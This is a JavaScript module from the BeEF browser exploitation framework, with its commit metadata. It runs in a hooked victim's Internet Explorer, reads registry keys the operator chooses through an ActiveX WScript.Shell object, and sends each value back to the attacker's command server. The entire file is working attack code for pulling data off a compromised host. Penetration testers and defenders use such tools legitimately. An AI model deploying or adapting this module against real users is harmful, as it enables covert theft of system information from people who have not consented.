Files
beef/modules/host/get_registry_keys/command.js
bcoles@gmail.com c0364fef06 Updated description for Get Registry Keys module
git-svn-id: https://beef.googlecode.com/svn/trunk@1398 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2011-11-03 06:08:50 +00:00

60 lines
1.8 KiB
JavaScript

//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var internal_counter = 0;
var timeout = 30;
var result;
var key_paths;
function waituntilok() {
try {
var wsh = new ActiveXObject("WScript.Shell");
if (!wsh) throw("failed to create registry object");
else {
for (var i=0; i<key_paths.length; i++) {
var key_path = key_paths[i];
if (!key_path) continue;
try {
var key_value = wsh.RegRead(key_path);
result = key_path+": "+key_value;
} catch (e) {
result = key_path+": failed to retrieve key value";
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values='+result);
}
}
return;
} catch (e) {
internal_counter++;
if (internal_counter > timeout) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values=Timeout after '+timeout+' seconds');
return;
}
setTimeout(function() {waituntilok()},1000);
}
}
try {
key_paths = "<%= @key_paths.gsub!(/[\n|\r\n]+/, "|BEEFDELIMITER|").gsub!(/\\/, "\\\\\\") %>".split(/\|BEEFDELIMITER\|/);
setTimeout(function() {waituntilok()},5000);
} catch (e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values=malformed registry keys were supplied');
}
});